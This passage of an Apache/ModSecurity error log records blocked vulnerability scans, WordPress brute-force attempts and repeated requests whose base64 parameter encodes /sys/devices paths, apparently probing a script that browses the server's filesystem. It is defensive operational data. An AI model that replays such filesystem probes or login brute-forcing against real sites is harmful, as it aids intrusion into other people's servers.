https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:13:32.176371 2026] [security2:error] [pid 531155:tid 531156] [remote 17.241.75.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLCmiP80klyS0NnoRMgABNgA"] [Sat Jun 13 18:13:32.215260 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.69:26134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:32.215559 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.69:26134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:32.403667 2026] [security2:error] [pid 531155:tid 531180] [remote 216.73.216.182:54158] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3yLCmiP80klyS0NnoRPQABhBg"] [Sat Jun 13 18:13:32.453476 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.92:63744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:32.453955 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.92:63744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:32.562976 2026] [security2:error] [pid 531155:tid 531340] [client 172.56.168.133:4575] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yLCmiP80klyS0NnoRSQAAAUE"] [Sat Jun 13 18:13:32.567637 2026] [security2:error] [pid 531155:tid 531340] [client 172.56.168.133:4575] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yLCmiP80klyS0NnoRSQAAAUE"] [Sat Jun 13 18:13:32.672801 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:13:32.673237 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:13:32.724782 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.56:36202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:32.725103 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.56:36202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:32.781886 2026] [security2:error] [pid 531155:tid 531272] [remote 17.241.75.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLCmiP80klyS0NnoRVwABP3Q"] [Sat Jun 13 18:13:32.923684 2026] [security2:error] [pid 531155:tid 531196] [remote 17.22.237.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLCmiP80klyS0NnoRXgABUSg"] [Sat Jun 13 18:13:33.187029 2026] [security2:error] [pid 531155:tid 531314] [client 192.185.4.147:22786] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "bellmoremerrickchildcare.com"] [uri "/wp-login.php"] [unique_id "ai3yLCmiP80klyS0NnoRYwABJ04"], referer: https://bellmoremerrickchildcare.com/wp-login.php [Sat Jun 13 18:13:33.198581 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:33.199044 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:33.343519 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.64:44332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:33.343808 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.64:44332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:33.660941 2026] [access_compat:error] [pid 531155:tid 531271] [remote 57.141.14.63:33174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:33.661236 2026] [access_compat:error] [pid 531155:tid 531271] [remote 57.141.14.63:33174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:33.689456 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:13:33.689767 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:13:33.745171 2026] [security2:error] [pid 531155:tid 531170] [remote 17.241.227.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLSmiP80klyS0NnoRiwABeQ4"] [Sat Jun 13 18:13:33.752397 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.5:48899] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:33.752703 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.5:48899] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:33.778709 2026] [security2:error] [pid 531155:tid 531191] [remote 31.24.155.180:58080] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.155.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yLSmiP80klyS0NnoRjgABYiM"] [Sat Jun 13 18:13:33.870122 2026] [security2:error] [pid 531155:tid 531206] [remote 17.22.245.214:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLSmiP80klyS0NnoRlwABSzI"] [Sat Jun 13 18:13:33.889064 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.36:23688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:33.889343 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.36:23688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:33.992695 2026] [security2:error] [pid 531155:tid 531268] [remote 208.109.188.137:43228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "britishclassicmotorcycles.com"] [uri "/wp-login.php"] [unique_id "ai3yLSmiP80klyS0NnoRoQABUXA"], referer: https://britishclassicmotorcycles.com/wp-login.php [Sat Jun 13 18:13:34.001192 2026] [security2:error] [pid 531155:tid 531212] [remote 31.24.155.180:58080] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.155.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yLSmiP80klyS0NnoRoAABZDg"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:13:34.203751 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:34.204162 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:13:34.292454 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.74:35562] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:34.292892 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.74:35562] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:34.471882 2026] [security2:error] [pid 531155:tid 531184] [remote 17.241.75.170:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 170.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLimiP80klyS0NnoRyQABiBw"] [Sat Jun 13 18:13:34.731216 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:13:34.731667 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:13:35.001315 2026] [security2:error] [pid 531155:tid 531238] [remote 17.246.23.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLimiP80klyS0NnoR5AABZFI"] [Sat Jun 13 18:13:35.127713 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.85:35522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:35.128142 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.85:35522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:35.257866 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:13:35.258262 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:13:35.432618 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.111:49416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:35.433073 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.111:49416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:35.449723 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.111:49422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:35.450151 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.111:49422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:35.517873 2026] [security2:error] [pid 531155:tid 531259] [remote 17.241.227.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yLymiP80klyS0NnoSCAABX2c"] [Sat Jun 13 18:13:35.595495 2026] [access_compat:error] [pid 531155:tid 531240] [remote 57.141.14.100:41617] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:35.595958 2026] [access_compat:error] [pid 531155:tid 531240] [remote 57.141.14.100:41617] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:35.711304 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.88:20922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:35.711759 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.88:20922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:35.806458 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 